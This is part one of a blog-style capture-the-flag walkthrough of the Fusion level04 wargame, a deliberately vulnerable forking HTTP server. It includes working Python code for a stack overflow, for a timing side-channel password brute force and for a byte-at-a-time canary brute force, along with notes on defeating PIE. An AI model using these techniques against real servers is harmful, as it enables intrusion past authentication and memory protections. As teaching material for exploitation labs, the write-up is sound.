Today we will try to solve Fusion 4. This level is a lot more complicated than the previous ones, so I might split it into 2 articles.
What we will do:
- Read and understand the program well.
- Find the stack overflow.
- Write a simple client.
- Verify our stack overflow.
- Find the location of the main binary
- Find libc.
- Find a known buffer.
- exploit.
Understanding the program:
The program is an http server that works as a fork-and-exec server. Seems like there is some kind of password that we will have to brute-force or something. To our “luck” the password is generated before the fork, so it will be the same as long as we don’t restart the father process. The server only implements http-get method which should return a file saved on the server. My guess is that we will find the vulnerability in parsing of the request or path to file.
We will also have to deal with Address Space Layout Randomization (ASLR), Position Independent Executable (PIE) which is ASLR for the main binary and Source Fortification whatever that means… seems like a fun program 🙂
Annnnddd, I found the buffer overflow. It is in the function validate_credentials we try to base64_decode “char * line” into “unsigned char details[2048]”, line is sent from the function webserver and is part of “char line[10000]”. Seems like it would be easy to overflow.
Now let’s write the simple client. Ok after some playing and tweaking with my code the client works. And it can also overflow the stack buffer. But, The function send_error calls exit after sending its error. Which means we must have the right password when we overflow the buffer..
#! /usr/bin/env python import socket import string import time PORT = 20004 HOST = "VM" def create_a_session(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) return s def send_request(method, path, protocol, auth, s = None): if s == None: s = create_a_session() request = "{} {} {}\n".format(method, path, protocol) s.send(request) auth = "".join(auth.encode("base64").splitlines()) request = "Authorization: Basic " + auth + "\n" s.send(request) s.shutdown(socket.SHUT_WR) return s.recv(1000) def main(): print send_request("GET", "/etc/hosts", "HTTP/1.0", "a" * 3000) if __name__ == "__main__": main()
So this is our next task.
Cracking the password
If you read validate_credentials carefully, you will see that the delay after wrong password is affected by the number of wrong chars in the password. We will use it to brute force the password one char at a time. Consider this algorithm:
- Try all of the password in length 1
- Time every attempt.
- Choose the letter that had the fastest error returned for it
This way we can guess the entire password in O(n * m) instead of O(n^m)- where n is the length of the password and m is the size of the alphabet of the password.
def try_password(password): s = create_a_session() s.settimeout(4) start_time = time.time() send_request("GET", "/etc/hosts", "HTTP/1.0", password, s) try: s.recv(50) end_time = time.time() except socket.timeout, e: print "Time out", return False total_time = end_time - start_time return total_time POSSIBLE_PASSWORD_CHARS = string.ascii_letters + "".join([str(i) for i in range(0,10)]) PASSWORD_LENGTH = 16 PASSWORD_CACHE = ":Ylp5kLoBgVSy7yCb" TIME_EPSILON = 0.0015 def brute_force_password(): all_password = ":" roundtime_trip_time = 0 for i in range(10): roundtime_trip_time += try_password("") roundtime_trip_time = roundtime_trip_time / 10 time_treashold = roundtime_trip_time + TIME_EPSILON print time_treashold if (time_treashold > try_password(PASSWORD_CACHE)): return PASSWORD_CACHE for _ in range(PASSWORD_LENGTH): for c in POSSIBLE_PASSWORD_CHARS: temp_password = all_password + c # try the password twice to make sure the timeout is not by accident if (time_treashold > try_password(temp_password)) and (time_treashold > try_password(temp_password)): all_password = temp_password break if len(all_password) < PASSWORD_LENGTH: print all_password raise "WTF, can't brute force password" return all_password
We try to overflow the stack and this time we get this message:
*** stack smashing detected ***: /opt/fusion/bin/level04 terminated
After some investigation, I figure out that the Source Fortification contains a canary, and that our stack overflow, overflowed it. Seems because the canary is set when the process is created and is not changed for each forked child, we can bruteforce the canary as well.


Brute forcing the whole canary is hard and would take us 2^32 attempts which is a lot. So, we are lucky enough that we can try to brute force one char (8 bits) at a time. This way we only need 2^8 * 4 attempts which is 1024 and a LOT less than 2**32.
It is super important to understand here that the reason we are allowed to brute force and we don’t care to crash the program is that the server is a father process that forks a different child process for each connection. all of the children have the same address space (and canary) and nothing bad happens if a child process dies.
CACHED_CANARY = address_to_buffer(0xd6d1200) def brute_force_canary(password): good_response = guess_canary(password, "") cached_response = guess_canary(password, CACHED_CANARY) if good_response == cached_response: return CACHED_CANARY canary = "" for j in range(4): for i in range(0x100): response = guess_canary(password, canary + chr(i)) if good_response == response: canary += chr(i) break return canary def main(): password = brute_force_password() print "password is ", password canary = brute_force_canary(password) print "canary is ", canary.encode("hex")
I coded this brute force and of the stack canary and it works. I confirmed it by letting the debugger crash and printing the registers we control:
eax 0x1 1 ecx 0x0 0 edx 0x0 0 ebx 0x62626262 1650614882 esp 0xbfce2ce0 0xbfce2ce0 ebp 0x62626262 0x62626262 esi 0x62626262 1650614882 edi 0x62626262 1650614882 eip 0x63636363 0x63636363 eflags 0x286 [ PF SF IF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51
Yay for us!
Well, next thing we need to do is to find the main binary,
I run my client without overflowing $eip and the server crashes. It crashes here:
It crashes because of the value of esi is not correct. I compare it to the source code and it seems like this line it is this line:
Again we can brute force esi byte by byte, and we can probably find a stack buffer we control in a place relative to esi. If we guess esi correctly, we will get a certain response and if we will guess incorrectly, we will get a different response (probably a crash of the server and no response at all.)
I coded it but it didn’t work. After looking at the function “webserver” in ida, i understood that we overflow ebx and it is also an address of a stack buffer. And the program crashes before it returns any useful output with corrupted ebx. So let’s do what we said about esi but with ebx
In my case ebx was 0xb7804118. I compared it to the list of loaded image and found out it’s exactly 0x4118 bytes away from the main binary.
So we can say we found the load address of the main executable and that we have beaten PIE (Position Independent Executable). In this example. (a forking server we can crash infinite number of times while the address space won’t change)
Soooo, I coded a brute force for esi, but I get the first 2 bytes to be 0x01 and only then I get the right bytes of the address. I learn from it that we don’t need the right value of esi in order for the program to work as expected, only a value of an address which is mapped. I guess I would have to find another way to find esi (or the address of a stack variable).
So In this article we managed to:
- Understand the code.
- Find a buffer overflow.
- Find a password using Timing side channel attack.
- Brute force a canary.
- Find the load address of the executable (beating PIE )
We will continue with finding libc, a buffer and roping into system in the next article 🙂